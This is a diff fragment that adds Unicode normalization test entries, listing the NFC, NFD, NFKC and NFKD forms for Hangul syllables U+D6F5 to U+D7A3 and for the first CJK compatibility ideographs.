+{ source: [0xD6F5], NFC: [0xD6F5], NFD: [0x1112, 0x116F, 0x11BC], NFKC: [0xD6F5], NFKD: [0x1112, 0x116F, 0x11BC] },
+{ source: [0xD6F6], NFC: [0xD6F6], NFD: [0x1112, 0x116F, 0x11BD], NFKC: [0xD6F6], NFKD: [0x1112, 0x116F, 0x11BD] },
+{ source: [0xD6F7], NFC: [0xD6F7], NFD: [0x1112, 0x116F, 0x11BE], NFKC: [0xD6F7], NFKD: [0x1112, 0x116F, 0x11BE] },
+{ source: [0xD6F8], NFC: [0xD6F8], NFD: [0x1112, 0x116F, 0x11BF], NFKC: [0xD6F8], NFKD: [0x1112, 0x116F, 0x11BF] },
+{ source: [0xD6F9], NFC: [0xD6F9], NFD: [0x1112, 0x116F, 0x11C0], NFKC: [0xD6F9], NFKD: [0x1112, 0x116F, 0x11C0] },
+{ source: [0xD6FA], NFC: [0xD6FA], NFD: [0x1112, 0x116F, 0x11C1], NFKC: [0xD6FA], NFKD: [0x1112, 0x116F, 0x11C1] },
+{ source: [0xD6FB], NFC: [0xD6FB], NFD: [0x1112, 0x116F, 0x11C2], NFKC: [0xD6FB], NFKD: [0x1112, 0x116F, 0x11C2] },
+{ source: [0xD6FC], NFC: [0xD6FC], NFD: [0x1112, 0x1170], NFKC: [0xD6FC], NFKD: [0x1112, 0x1170] },
+{ source: [0xD6FD], NFC: [0xD6FD], NFD: [0x1112, 0x1170, 0x11A8], NFKC: [0xD6FD], NFKD: [0x1112, 0x1170, 0x11A8] },
+{ source: [0xD6FE], NFC: [0xD6FE], NFD: [0x1112, 0x1170, 0x11A9], NFKC: [0xD6FE], NFKD: [0x1112, 0x1170, 0x11A9] },
+{ source: [0xD6FF], NFC: [0xD6FF], NFD: [0x1112, 0x1170, 0x11AA], NFKC: [0xD6FF], NFKD: [0x1112, 0x1170, 0x11AA] },
+{ source: [0xD700], NFC: [0xD700], NFD: [0x1112, 0x1170, 0x11AB], NFKC: [0xD700], NFKD: [0x1112, 0x1170, 0x11AB] },
+{ source: [0xD701], NFC: [0xD701], NFD: [0x1112, 0x1170, 0x11AC], NFKC: [0xD701], NFKD: [0x1112, 0x1170, 0x11AC] },
+{ source: [0xD702], NFC: [0xD702], NFD: [0x1112, 0x1170, 0x11AD], NFKC: [0xD702], NFKD: [0x1112, 0x1170, 0x11AD] },
+{ source: [0xD703], NFC: [0xD703], NFD: [0x1112, 0x1170, 0x11AE], NFKC: [0xD703], NFKD: [0x1112, 0x1170, 0x11AE] },
+{ source: [0xD704], NFC: [0xD704], NFD: [0x1112, 0x1170, 0x11AF], NFKC: [0xD704], NFKD: [0x1112, 0x1170, 0x11AF] },
+{ source: [0xD705], NFC: [0xD705], NFD: [0x1112, 0x1170, 0x11B0], NFKC: [0xD705], NFKD: [0x1112, 0x1170, 0x11B0] },
+{ source: [0xD706], NFC: [0xD706], NFD: [0x1112, 0x1170, 0x11B1], NFKC: [0xD706], NFKD: [0x1112, 0x1170, 0x11B1] },
+{ source: [0xD707], NFC: [0xD707], NFD: [0x1112, 0x1170, 0x11B2], NFKC: [0xD707], NFKD: [0x1112, 0x1170, 0x11B2] },
+{ source: [0xD708], NFC: [0xD708], NFD: [0x1112, 0x1170, 0x11B3], NFKC: [0xD708], NFKD: [0x1112, 0x1170, 0x11B3] },
+{ source: [0xD709], NFC: [0xD709], NFD: [0x1112, 0x1170, 0x11B4], NFKC: [0xD709], NFKD: [0x1112, 0x1170, 0x11B4] },
+{ source: [0xD70A], NFC: [0xD70A], NFD: [0x1112, 0x1170, 0x11B5], NFKC: [0xD70A], NFKD: [0x1112, 0x1170, 0x11B5] },
+{ source: [0xD70B], NFC: [0xD70B], NFD: [0x1112, 0x1170, 0x11B6], NFKC: [0xD70B], NFKD: [0x1112, 0x1170, 0x11B6] },
+{ source: [0xD70C], NFC: [0xD70C], NFD: [0x1112, 0x1170, 0x11B7], NFKC: [0xD70C], NFKD: [0x1112, 0x1170, 0x11B7] },
+{ source: [0xD70D], NFC: [0xD70D], NFD: [0x1112, 0x1170, 0x11B8], NFKC: [0xD70D], NFKD: [0x1112, 0x1170, 0x11B8] },
+{ source: [0xD70E], NFC: [0xD70E], NFD: [0x1112, 0x1170, 0x11B9], NFKC: [0xD70E], NFKD: [0x1112, 0x1170, 0x11B9] },
+{ source: [0xD70F], NFC: [0xD70F], NFD: [0x1112, 0x1170, 0x11BA], NFKC: [0xD70F], NFKD: [0x1112, 0x1170, 0x11BA] },
+{ source: [0xD710], NFC: [0xD710], NFD: [0x1112, 0x1170, 0x11BB], NFKC: [0xD710], NFKD: [0x1112, 0x1170, 0x11BB] },
+{ source: [0xD711], NFC: [0xD711], NFD: [0x1112, 0x1170, 0x11BC], NFKC: [0xD711], NFKD: [0x1112, 0x1170, 0x11BC] },
+{ source: [0xD712], NFC: [0xD712], NFD: [0x1112, 0x1170, 0x11BD], NFKC: [0xD712], NFKD: [0x1112, 0x1170, 0x11BD] },
+{ source: [0xD713], NFC: [0xD713], NFD: [0x1112, 0x1170, 0x11BE], NFKC: [0xD713], NFKD: [0x1112, 0x1170, 0x11BE] },
+{ source: [0xD714], NFC: [0xD714], NFD: [0x1112, 0x1170, 0x11BF], NFKC: [0xD714], NFKD: [0x1112, 0x1170, 0x11BF] },
+{ source: [0xD715], NFC: [0xD715], NFD: [0x1112, 0x1170, 0x11C0], NFKC: [0xD715], NFKD: [0x1112, 0x1170, 0x11C0] },
+{ source: [0xD716], NFC: [0xD716], NFD: [0x1112, 0x1170, 0x11C1], NFKC: [0xD716], NFKD: [0x1112, 0x1170, 0x11C1] },
+{ source: [0xD717], NFC: [0xD717], NFD: [0x1112, 0x1170, 0x11C2], NFKC: [0xD717], NFKD: [0x1112, 0x1170, 0x11C2] },
+{ source: [0xD718], NFC: [0xD718], NFD: [0x1112, 0x1171], NFKC: [0xD718], NFKD: [0x1112, 0x1171] },
+{ source: [0xD719], NFC: [0xD719], NFD: [0x1112, 0x1171, 0x11A8], NFKC: [0xD719], NFKD: [0x1112, 0x1171, 0x11A8] },
+{ source: [0xD71A], NFC: [0xD71A], NFD: [0x1112, 0x1171, 0x11A9], NFKC: [0xD71A], NFKD: [0x1112, 0x1171, 0x11A9] },
+{ source: [0xD71B], NFC: [0xD71B], NFD: [0x1112, 0x1171, 0x11AA], NFKC: [0xD71B], NFKD: [0x1112, 0x1171, 0x11AA] },
+{ source: [0xD71C], NFC: [0xD71C], NFD: [0x1112, 0x1171, 0x11AB], NFKC: [0xD71C], NFKD: [0x1112, 0x1171, 0x11AB] },
+{ source: [0xD71D], NFC: [0xD71D], NFD: [0x1112, 0x1171, 0x11AC], NFKC: [0xD71D], NFKD: [0x1112, 0x1171, 0x11AC] },
+{ source: [0xD71E], NFC: [0xD71E], NFD: [0x1112, 0x1171, 0x11AD], NFKC: [0xD71E], NFKD: [0x1112, 0x1171, 0x11AD] },
+{ source: [0xD71F], NFC: [0xD71F], NFD: [0x1112, 0x1171, 0x11AE], NFKC: [0xD71F], NFKD: [0x1112, 0x1171, 0x11AE] },
+{ source: [0xD720], NFC: [0xD720], NFD: [0x1112, 0x1171, 0x11AF], NFKC: [0xD720], NFKD: [0x1112, 0x1171, 0x11AF] },
+{ source: [0xD721], NFC: [0xD721], NFD: [0x1112, 0x1171, 0x11B0], NFKC: [0xD721], NFKD: [0x1112, 0x1171, 0x11B0] },
+{ source: [0xD722], NFC: [0xD722], NFD: [0x1112, 0x1171, 0x11B1], NFKC: [0xD722], NFKD: [0x1112, 0x1171, 0x11B1] },
+{ source: [0xD723], NFC: [0xD723], NFD: [0x1112, 0x1171, 0x11B2], NFKC: [0xD723], NFKD: [0x1112, 0x1171, 0x11B2] },
+{ source: [0xD724], NFC: [0xD724], NFD: [0x1112, 0x1171, 0x11B3], NFKC: [0xD724], NFKD: [0x1112, 0x1171, 0x11B3] },
+{ source: [0xD725], NFC: [0xD725], NFD: [0x1112, 0x1171, 0x11B4], NFKC: [0xD725], NFKD: [0x1112, 0x1171, 0x11B4] },
+{ source: [0xD726], NFC: [0xD726], NFD: [0x1112, 0x1171, 0x11B5], NFKC: [0xD726], NFKD: [0x1112, 0x1171, 0x11B5] },
+{ source: [0xD727], NFC: [0xD727], NFD: [0x1112, 0x1171, 0x11B6], NFKC: [0xD727], NFKD: [0x1112, 0x1171, 0x11B6] },
+{ source: [0xD728], NFC: [0xD728], NFD: [0x1112, 0x1171, 0x11B7], NFKC: [0xD728], NFKD: [0x1112, 0x1171, 0x11B7] },
+{ source: [0xD729], NFC: [0xD729], NFD: [0x1112, 0x1171, 0x11B8], NFKC: [0xD729], NFKD: [0x1112, 0x1171, 0x11B8] },
+{ source: [0xD72A], NFC: [0xD72A], NFD: [0x1112, 0x1171, 0x11B9], NFKC: [0xD72A], NFKD: [0x1112, 0x1171, 0x11B9] },
+{ source: [0xD72B], NFC: [0xD72B], NFD: [0x1112, 0x1171, 0x11BA], NFKC: [0xD72B], NFKD: [0x1112, 0x1171, 0x11BA] },
+{ source: [0xD72C], NFC: [0xD72C], NFD: [0x1112, 0x1171, 0x11BB], NFKC: [0xD72C], NFKD: [0x1112, 0x1171, 0x11BB] },
+{ source: [0xD72D], NFC: [0xD72D], NFD: [0x1112, 0x1171, 0x11BC], NFKC: [0xD72D], NFKD: [0x1112, 0x1171, 0x11BC] },
+{ source: [0xD72E], NFC: [0xD72E], NFD: [0x1112, 0x1171, 0x11BD], NFKC: [0xD72E], NFKD: [0x1112, 0x1171, 0x11BD] },
+{ source: [0xD72F], NFC: [0xD72F], NFD: [0x1112, 0x1171, 0x11BE], NFKC: [0xD72F], NFKD: [0x1112, 0x1171, 0x11BE] },
+{ source: [0xD730], NFC: [0xD730], NFD: [0x1112, 0x1171, 0x11BF], NFKC: [0xD730], NFKD: [0x1112, 0x1171, 0x11BF] },
+{ source: [0xD731], NFC: [0xD731], NFD: [0x1112, 0x1171, 0x11C0], NFKC: [0xD731], NFKD: [0x1112, 0x1171, 0x11C0] },
+{ source: [0xD732], NFC: [0xD732], NFD: [0x1112, 0x1171, 0x11C1], NFKC: [0xD732], NFKD: [0x1112, 0x1171, 0x11C1] },
+{ source: [0xD733], NFC: [0xD733], NFD: [0x1112, 0x1171, 0x11C2], NFKC: [0xD733], NFKD: [0x1112, 0x1171, 0x11C2] },
+{ source: [0xD734], NFC: [0xD734], NFD: [0x1112, 0x1172], NFKC: [0xD734], NFKD: [0x1112, 0x1172] },
+{ source: [0xD735], NFC: [0xD735], NFD: [0x1112, 0x1172, 0x11A8], NFKC: [0xD735], NFKD: [0x1112, 0x1172, 0x11A8] },
+{ source: [0xD736], NFC: [0xD736], NFD: [0x1112, 0x1172, 0x11A9], NFKC: [0xD736], NFKD: [0x1112, 0x1172, 0x11A9] },
+{ source: [0xD737], NFC: [0xD737], NFD: [0x1112, 0x1172, 0x11AA], NFKC: [0xD737], NFKD: [0x1112, 0x1172, 0x11AA] },
+{ source: [0xD738], NFC: [0xD738], NFD: [0x1112, 0x1172, 0x11AB], NFKC: [0xD738], NFKD: [0x1112, 0x1172, 0x11AB] },
+{ source: [0xD739], NFC: [0xD739], NFD: [0x1112, 0x1172, 0x11AC], NFKC: [0xD739], NFKD: [0x1112, 0x1172, 0x11AC] },
+{ source: [0xD73A], NFC: [0xD73A], NFD: [0x1112, 0x1172, 0x11AD], NFKC: [0xD73A], NFKD: [0x1112, 0x1172, 0x11AD] },
+{ source: [0xD73B], NFC: [0xD73B], NFD: [0x1112, 0x1172, 0x11AE], NFKC: [0xD73B], NFKD: [0x1112, 0x1172, 0x11AE] },
+{ source: [0xD73C], NFC: [0xD73C], NFD: [0x1112, 0x1172, 0x11AF], NFKC: [0xD73C], NFKD: [0x1112, 0x1172, 0x11AF] },
+{ source: [0xD73D], NFC: [0xD73D], NFD: [0x1112, 0x1172, 0x11B0], NFKC: [0xD73D], NFKD: [0x1112, 0x1172, 0x11B0] },
+{ source: [0xD73E], NFC: [0xD73E], NFD: [0x1112, 0x1172, 0x11B1], NFKC: [0xD73E], NFKD: [0x1112, 0x1172, 0x11B1] },
+{ source: [0xD73F], NFC: [0xD73F], NFD: [0x1112, 0x1172, 0x11B2], NFKC: [0xD73F], NFKD: [0x1112, 0x1172, 0x11B2] },
+{ source: [0xD740], NFC: [0xD740], NFD: [0x1112, 0x1172, 0x11B3], NFKC: [0xD740], NFKD: [0x1112, 0x1172, 0x11B3] },
+{ source: [0xD741], NFC: [0xD741], NFD: [0x1112, 0x1172, 0x11B4], NFKC: [0xD741], NFKD: [0x1112, 0x1172, 0x11B4] },
+{ source: [0xD742], NFC: [0xD742], NFD: [0x1112, 0x1172, 0x11B5], NFKC: [0xD742], NFKD: [0x1112, 0x1172, 0x11B5] },
+{ source: [0xD743], NFC: [0xD743], NFD: [0x1112, 0x1172, 0x11B6], NFKC: [0xD743], NFKD: [0x1112, 0x1172, 0x11B6] },
+{ source: [0xD744], NFC: [0xD744], NFD: [0x1112, 0x1172, 0x11B7], NFKC: [0xD744], NFKD: [0x1112, 0x1172, 0x11B7] },
+{ source: [0xD745], NFC: [0xD745], NFD: [0x1112, 0x1172, 0x11B8], NFKC: [0xD745], NFKD: [0x1112, 0x1172, 0x11B8] },
+{ source: [0xD746], NFC: [0xD746], NFD: [0x1112, 0x1172, 0x11B9], NFKC: [0xD746], NFKD: [0x1112, 0x1172, 0x11B9] },
+{ source: [0xD747], NFC: [0xD747], NFD: [0x1112, 0x1172, 0x11BA], NFKC: [0xD747], NFKD: [0x1112, 0x1172, 0x11BA] },
+{ source: [0xD748], NFC: [0xD748], NFD: [0x1112, 0x1172, 0x11BB], NFKC: [0xD748], NFKD: [0x1112, 0x1172, 0x11BB] },
+{ source: [0xD749], NFC: [0xD749], NFD: [0x1112, 0x1172, 0x11BC], NFKC: [0xD749], NFKD: [0x1112, 0x1172, 0x11BC] },
+{ source: [0xD74A], NFC: [0xD74A], NFD: [0x1112, 0x1172, 0x11BD], NFKC: [0xD74A], NFKD: [0x1112, 0x1172, 0x11BD] },
+{ source: [0xD74B], NFC: [0xD74B], NFD: [0x1112, 0x1172, 0x11BE], NFKC: [0xD74B], NFKD: [0x1112, 0x1172, 0x11BE] },
+{ source: [0xD74C], NFC: [0xD74C], NFD: [0x1112, 0x1172, 0x11BF], NFKC: [0xD74C], NFKD: [0x1112, 0x1172, 0x11BF] },
+{ source: [0xD74D], NFC: [0xD74D], NFD: [0x1112, 0x1172, 0x11C0], NFKC: [0xD74D], NFKD: [0x1112, 0x1172, 0x11C0] },
+{ source: [0xD74E], NFC: [0xD74E], NFD: [0x1112, 0x1172, 0x11C1], NFKC: [0xD74E], NFKD: [0x1112, 0x1172, 0x11C1] },
+{ source: [0xD74F], NFC: [0xD74F], NFD: [0x1112, 0x1172, 0x11C2], NFKC: [0xD74F], NFKD: [0x1112, 0x1172, 0x11C2] },
+{ source: [0xD750], NFC: [0xD750], NFD: [0x1112, 0x1173], NFKC: [0xD750], NFKD: [0x1112, 0x1173] },
+{ source: [0xD751], NFC: [0xD751], NFD: [0x1112, 0x1173, 0x11A8], NFKC: [0xD751], NFKD: [0x1112, 0x1173, 0x11A8] },
+{ source: [0xD752], NFC: [0xD752], NFD: [0x1112, 0x1173, 0x11A9], NFKC: [0xD752], NFKD: [0x1112, 0x1173, 0x11A9] },
+{ source: [0xD753], NFC: [0xD753], NFD: [0x1112, 0x1173, 0x11AA], NFKC: [0xD753], NFKD: [0x1112, 0x1173, 0x11AA] },
+{ source: [0xD754], NFC: [0xD754], NFD: [0x1112, 0x1173, 0x11AB], NFKC: [0xD754], NFKD: [0x1112, 0x1173, 0x11AB] },
+{ source: [0xD755], NFC: [0xD755], NFD: [0x1112, 0x1173, 0x11AC], NFKC: [0xD755], NFKD: [0x1112, 0x1173, 0x11AC] },
+{ source: [0xD756], NFC: [0xD756], NFD: [0x1112, 0x1173, 0x11AD], NFKC: [0xD756], NFKD: [0x1112, 0x1173, 0x11AD] },
+{ source: [0xD757], NFC: [0xD757], NFD: [0x1112, 0x1173, 0x11AE], NFKC: [0xD757], NFKD: [0x1112, 0x1173, 0x11AE] },
+{ source: [0xD758], NFC: [0xD758], NFD: [0x1112, 0x1173, 0x11AF], NFKC: [0xD758], NFKD: [0x1112, 0x1173, 0x11AF] },
+{ source: [0xD759], NFC: [0xD759], NFD: [0x1112, 0x1173, 0x11B0], NFKC: [0xD759], NFKD: [0x1112, 0x1173, 0x11B0] },
+{ source: [0xD75A], NFC: [0xD75A], NFD: [0x1112, 0x1173, 0x11B1], NFKC: [0xD75A], NFKD: [0x1112, 0x1173, 0x11B1] },
+{ source: [0xD75B], NFC: [0xD75B], NFD: [0x1112, 0x1173, 0x11B2], NFKC: [0xD75B], NFKD: [0x1112, 0x1173, 0x11B2] },
+{ source: [0xD75C], NFC: [0xD75C], NFD: [0x1112, 0x1173, 0x11B3], NFKC: [0xD75C], NFKD: [0x1112, 0x1173, 0x11B3] },
+{ source: [0xD75D], NFC: [0xD75D], NFD: [0x1112, 0x1173, 0x11B4], NFKC: [0xD75D], NFKD: [0x1112, 0x1173, 0x11B4] },
+{ source: [0xD75E], NFC: [0xD75E], NFD: [0x1112, 0x1173, 0x11B5], NFKC: [0xD75E], NFKD: [0x1112, 0x1173, 0x11B5] },
+{ source: [0xD75F], NFC: [0xD75F], NFD: [0x1112, 0x1173, 0x11B6], NFKC: [0xD75F], NFKD: [0x1112, 0x1173, 0x11B6] },
+{ source: [0xD760], NFC: [0xD760], NFD: [0x1112, 0x1173, 0x11B7], NFKC: [0xD760], NFKD: [0x1112, 0x1173, 0x11B7] },
+{ source: [0xD761], NFC: [0xD761], NFD: [0x1112, 0x1173, 0x11B8], NFKC: [0xD761], NFKD: [0x1112, 0x1173, 0x11B8] },
+{ source: [0xD762], NFC: [0xD762], NFD: [0x1112, 0x1173, 0x11B9], NFKC: [0xD762], NFKD: [0x1112, 0x1173, 0x11B9] },
+{ source: [0xD763], NFC: [0xD763], NFD: [0x1112, 0x1173, 0x11BA], NFKC: [0xD763], NFKD: [0x1112, 0x1173, 0x11BA] },
+{ source: [0xD764], NFC: [0xD764], NFD: [0x1112, 0x1173, 0x11BB], NFKC: [0xD764], NFKD: [0x1112, 0x1173, 0x11BB] },
+{ source: [0xD765], NFC: [0xD765], NFD: [0x1112, 0x1173, 0x11BC], NFKC: [0xD765], NFKD: [0x1112, 0x1173, 0x11BC] },
+{ source: [0xD766], NFC: [0xD766], NFD: [0x1112, 0x1173, 0x11BD], NFKC: [0xD766], NFKD: [0x1112, 0x1173, 0x11BD] },
+{ source: [0xD767], NFC: [0xD767], NFD: [0x1112, 0x1173, 0x11BE], NFKC: [0xD767], NFKD: [0x1112, 0x1173, 0x11BE] },
+{ source: [0xD768], NFC: [0xD768], NFD: [0x1112, 0x1173, 0x11BF], NFKC: [0xD768], NFKD: [0x1112, 0x1173, 0x11BF] },
+{ source: [0xD769], NFC: [0xD769], NFD: [0x1112, 0x1173, 0x11C0], NFKC: [0xD769], NFKD: [0x1112, 0x1173, 0x11C0] },
+{ source: [0xD76A], NFC: [0xD76A], NFD: [0x1112, 0x1173, 0x11C1], NFKC: [0xD76A], NFKD: [0x1112, 0x1173, 0x11C1] },
+{ source: [0xD76B], NFC: [0xD76B], NFD: [0x1112, 0x1173, 0x11C2], NFKC: [0xD76B], NFKD: [0x1112, 0x1173, 0x11C2] },
+{ source: [0xD76C], NFC: [0xD76C], NFD: [0x1112, 0x1174], NFKC: [0xD76C], NFKD: [0x1112, 0x1174] },
+{ source: [0xD76D], NFC: [0xD76D], NFD: [0x1112, 0x1174, 0x11A8], NFKC: [0xD76D], NFKD: [0x1112, 0x1174, 0x11A8] },
+{ source: [0xD76E], NFC: [0xD76E], NFD: [0x1112, 0x1174, 0x11A9], NFKC: [0xD76E], NFKD: [0x1112, 0x1174, 0x11A9] },
+{ source: [0xD76F], NFC: [0xD76F], NFD: [0x1112, 0x1174, 0x11AA], NFKC: [0xD76F], NFKD: [0x1112, 0x1174, 0x11AA] },
+{ source: [0xD770], NFC: [0xD770], NFD: [0x1112, 0x1174, 0x11AB], NFKC: [0xD770], NFKD: [0x1112, 0x1174, 0x11AB] },
+{ source: [0xD771], NFC: [0xD771], NFD: [0x1112, 0x1174, 0x11AC], NFKC: [0xD771], NFKD: [0x1112, 0x1174, 0x11AC] },
+{ source: [0xD772], NFC: [0xD772], NFD: [0x1112, 0x1174, 0x11AD], NFKC: [0xD772], NFKD: [0x1112, 0x1174, 0x11AD] },
+{ source: [0xD773], NFC: [0xD773], NFD: [0x1112, 0x1174, 0x11AE], NFKC: [0xD773], NFKD: [0x1112, 0x1174, 0x11AE] },
+{ source: [0xD774], NFC: [0xD774], NFD: [0x1112, 0x1174, 0x11AF], NFKC: [0xD774], NFKD: [0x1112, 0x1174, 0x11AF] },
+{ source: [0xD775], NFC: [0xD775], NFD: [0x1112, 0x1174, 0x11B0], NFKC: [0xD775], NFKD: [0x1112, 0x1174, 0x11B0] },
+{ source: [0xD776], NFC: [0xD776], NFD: [0x1112, 0x1174, 0x11B1], NFKC: [0xD776], NFKD: [0x1112, 0x1174, 0x11B1] },
+{ source: [0xD777], NFC: [0xD777], NFD: [0x1112, 0x1174, 0x11B2], NFKC: [0xD777], NFKD: [0x1112, 0x1174, 0x11B2] },
+{ source: [0xD778], NFC: [0xD778], NFD: [0x1112, 0x1174, 0x11B3], NFKC: [0xD778], NFKD: [0x1112, 0x1174, 0x11B3] },
+{ source: [0xD779], NFC: [0xD779], NFD: [0x1112, 0x1174, 0x11B4], NFKC: [0xD779], NFKD: [0x1112, 0x1174, 0x11B4] },
+{ source: [0xD77A], NFC: [0xD77A], NFD: [0x1112, 0x1174, 0x11B5], NFKC: [0xD77A], NFKD: [0x1112, 0x1174, 0x11B5] },
+{ source: [0xD77B], NFC: [0xD77B], NFD: [0x1112, 0x1174, 0x11B6], NFKC: [0xD77B], NFKD: [0x1112, 0x1174, 0x11B6] },
+{ source: [0xD77C], NFC: [0xD77C], NFD: [0x1112, 0x1174, 0x11B7], NFKC: [0xD77C], NFKD: [0x1112, 0x1174, 0x11B7] },
+{ source: [0xD77D], NFC: [0xD77D], NFD: [0x1112, 0x1174, 0x11B8], NFKC: [0xD77D], NFKD: [0x1112, 0x1174, 0x11B8] },
+{ source: [0xD77E], NFC: [0xD77E], NFD: [0x1112, 0x1174, 0x11B9], NFKC: [0xD77E], NFKD: [0x1112, 0x1174, 0x11B9] },
+{ source: [0xD77F], NFC: [0xD77F], NFD: [0x1112, 0x1174, 0x11BA], NFKC: [0xD77F], NFKD: [0x1112, 0x1174, 0x11BA] },
+{ source: [0xD780], NFC: [0xD780], NFD: [0x1112, 0x1174, 0x11BB], NFKC: [0xD780], NFKD: [0x1112, 0x1174, 0x11BB] },
+{ source: [0xD781], NFC: [0xD781], NFD: [0x1112, 0x1174, 0x11BC], NFKC: [0xD781], NFKD: [0x1112, 0x1174, 0x11BC] },
+{ source: [0xD782], NFC: [0xD782], NFD: [0x1112, 0x1174, 0x11BD], NFKC: [0xD782], NFKD: [0x1112, 0x1174, 0x11BD] },
+{ source: [0xD783], NFC: [0xD783], NFD: [0x1112, 0x1174, 0x11BE], NFKC: [0xD783], NFKD: [0x1112, 0x1174, 0x11BE] },
+{ source: [0xD784], NFC: [0xD784], NFD: [0x1112, 0x1174, 0x11BF], NFKC: [0xD784], NFKD: [0x1112, 0x1174, 0x11BF] },
+{ source: [0xD785], NFC: [0xD785], NFD: [0x1112, 0x1174, 0x11C0], NFKC: [0xD785], NFKD: [0x1112, 0x1174, 0x11C0] },
+{ source: [0xD786], NFC: [0xD786], NFD: [0x1112, 0x1174, 0x11C1], NFKC: [0xD786], NFKD: [0x1112, 0x1174, 0x11C1] },
+{ source: [0xD787], NFC: [0xD787], NFD: [0x1112, 0x1174, 0x11C2], NFKC: [0xD787], NFKD: [0x1112, 0x1174, 0x11C2] },
+{ source: [0xD788], NFC: [0xD788], NFD: [0x1112, 0x1175], NFKC: [0xD788], NFKD: [0x1112, 0x1175] },
+{ source: [0xD789], NFC: [0xD789], NFD: [0x1112, 0x1175, 0x11A8], NFKC: [0xD789], NFKD: [0x1112, 0x1175, 0x11A8] },
+{ source: [0xD78A], NFC: [0xD78A], NFD: [0x1112, 0x1175, 0x11A9], NFKC: [0xD78A], NFKD: [0x1112, 0x1175, 0x11A9] },
+{ source: [0xD78B], NFC: [0xD78B], NFD: [0x1112, 0x1175, 0x11AA], NFKC: [0xD78B], NFKD: [0x1112, 0x1175, 0x11AA] },
+{ source: [0xD78C], NFC: [0xD78C], NFD: [0x1112, 0x1175, 0x11AB], NFKC: [0xD78C], NFKD: [0x1112, 0x1175, 0x11AB] },
+{ source: [0xD78D], NFC: [0xD78D], NFD: [0x1112, 0x1175, 0x11AC], NFKC: [0xD78D], NFKD: [0x1112, 0x1175, 0x11AC] },
+{ source: [0xD78E], NFC: [0xD78E], NFD: [0x1112, 0x1175, 0x11AD], NFKC: [0xD78E], NFKD: [0x1112, 0x1175, 0x11AD] },
+{ source: [0xD78F], NFC: [0xD78F], NFD: [0x1112, 0x1175, 0x11AE], NFKC: [0xD78F], NFKD: [0x1112, 0x1175, 0x11AE] },
+{ source: [0xD790], NFC: [0xD790], NFD: [0x1112, 0x1175, 0x11AF], NFKC: [0xD790], NFKD: [0x1112, 0x1175, 0x11AF] },
+{ source: [0xD791], NFC: [0xD791], NFD: [0x1112, 0x1175, 0x11B0], NFKC: [0xD791], NFKD: [0x1112, 0x1175, 0x11B0] },
+{ source: [0xD792], NFC: [0xD792], NFD: [0x1112, 0x1175, 0x11B1], NFKC: [0xD792], NFKD: [0x1112, 0x1175, 0x11B1] },
+{ source: [0xD793], NFC: [0xD793], NFD: [0x1112, 0x1175, 0x11B2], NFKC: [0xD793], NFKD: [0x1112, 0x1175, 0x11B2] },
+{ source: [0xD794], NFC: [0xD794], NFD: [0x1112, 0x1175, 0x11B3], NFKC: [0xD794], NFKD: [0x1112, 0x1175, 0x11B3] },
+{ source: [0xD795], NFC: [0xD795], NFD: [0x1112, 0x1175, 0x11B4], NFKC: [0xD795], NFKD: [0x1112, 0x1175, 0x11B4] },
+{ source: [0xD796], NFC: [0xD796], NFD: [0x1112, 0x1175, 0x11B5], NFKC: [0xD796], NFKD: [0x1112, 0x1175, 0x11B5] },
+{ source: [0xD797], NFC: [0xD797], NFD: [0x1112, 0x1175, 0x11B6], NFKC: [0xD797], NFKD: [0x1112, 0x1175, 0x11B6] },
+{ source: [0xD798], NFC: [0xD798], NFD: [0x1112, 0x1175, 0x11B7], NFKC: [0xD798], NFKD: [0x1112, 0x1175, 0x11B7] },
+{ source: [0xD799], NFC: [0xD799], NFD: [0x1112, 0x1175, 0x11B8], NFKC: [0xD799], NFKD: [0x1112, 0x1175, 0x11B8] },
+{ source: [0xD79A], NFC: [0xD79A], NFD: [0x1112, 0x1175, 0x11B9], NFKC: [0xD79A], NFKD: [0x1112, 0x1175, 0x11B9] },
+{ source: [0xD79B], NFC: [0xD79B], NFD: [0x1112, 0x1175, 0x11BA], NFKC: [0xD79B], NFKD: [0x1112, 0x1175, 0x11BA] },
+{ source: [0xD79C], NFC: [0xD79C], NFD: [0x1112, 0x1175, 0x11BB], NFKC: [0xD79C], NFKD: [0x1112, 0x1175, 0x11BB] },
+{ source: [0xD79D], NFC: [0xD79D], NFD: [0x1112, 0x1175, 0x11BC], NFKC: [0xD79D], NFKD: [0x1112, 0x1175, 0x11BC] },
+{ source: [0xD79E], NFC: [0xD79E], NFD: [0x1112, 0x1175, 0x11BD], NFKC: [0xD79E], NFKD: [0x1112, 0x1175, 0x11BD] },
+{ source: [0xD79F], NFC: [0xD79F], NFD: [0x1112, 0x1175, 0x11BE], NFKC: [0xD79F], NFKD: [0x1112, 0x1175, 0x11BE] },
+{ source: [0xD7A0], NFC: [0xD7A0], NFD: [0x1112, 0x1175, 0x11BF], NFKC: [0xD7A0], NFKD: [0x1112, 0x1175, 0x11BF] },
+{ source: [0xD7A1], NFC: [0xD7A1], NFD: [0x1112, 0x1175, 0x11C0], NFKC: [0xD7A1], NFKD: [0x1112, 0x1175, 0x11C0] },
+{ source: [0xD7A2], NFC: [0xD7A2], NFD: [0x1112, 0x1175, 0x11C1], NFKC: [0xD7A2], NFKD: [0x1112, 0x1175, 0x11C1] },
+{ source: [0xD7A3], NFC: [0xD7A3], NFD: [0x1112, 0x1175, 0x11C2], NFKC: [0xD7A3], NFKD: [0x1112, 0x1175, 0x11C2] },
+{ source: [0xF900], NFC: [0x8C48], NFD: [0x8C48], NFKC: [0x8C48], NFKD: [0x8C48] },
+{ source: [0xF901], NFC: [0x66F4], NFD: [0x66F4], NFKC: [0x66F4], NFKD: [0x66F4] },
+{ source: [0xF902], NFC: [0x8ECA], NFD: [0x8ECA], NFKC: [0x8ECA], NFKD: [0x8ECA] },
+{ source: [0xF903], NFC: [0x8CC8], NFD: [0x8CC8], NFKC: [0x8CC8], NFKD: [0x8CC8] },
+{ source: [0xF904], NFC: [0x6ED1], NFD: [0x6ED1], NFKC: [0x6ED1], NFKD: [0x6ED1] },
+{ source: [0xF905], NFC: [0x4E32], NFD: [0x4E32], NFKC: [0x4E32], NFKD: [0x4E32] },
+{ source: [0xF906], NFC: [0x53E5], NFD: [0x53E5], NFKC: [0x53E5], NFKD: [0x53E5] },
+{ source: [0xF907], NFC: [0x9F9C], NFD: [0x9F9C], NFKC: [0x9F9C], NFKD: [0x9F9C] },
+{ source: [0xF908], NFC: [0x9F9C], NFD: [0x9F9C], NFKC: [0x9F9C], NFKD: [0x9F9C] },
+{ source: [0xF909], NFC: [0x5951], NFD: [0x5951], NFKC: [0x5951], NFKD: [0x5951] },
